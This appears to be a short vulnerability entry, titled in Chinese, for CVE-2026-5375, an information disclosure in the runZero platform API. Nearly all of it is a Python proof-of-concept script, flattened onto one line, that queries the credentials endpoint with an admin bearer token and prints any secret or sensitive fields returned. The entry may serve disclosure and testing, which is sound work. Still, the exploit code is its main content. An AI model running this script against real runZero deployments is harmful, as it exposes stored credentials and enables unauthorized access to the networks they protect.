CVE-2026-5375 runZero平台API敏感信息泄露漏洞

import requests # Target API endpoint (Example) target_url = "https://<runzero-host>/api/v1/credentials" # Headers with authentication headers = { "Authorization": "Bearer <ADMIN_TOKEN>", "Accept": "application/json" } try: # Send GET request to retrieve credential information response = requests.get(target_url, headers=headers, timeout=10) if response.status_code == 200: data = response.json() # Check for sensitive fields exposure if 'sensitive_data' in data or 'secret' in data: print("[+] Vulnerability Confirmed: Sensitive data exposed in API response.") print(f"[+] Data: {data}") else: print("[-] Sensitive data not found in response.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"Error: {e}")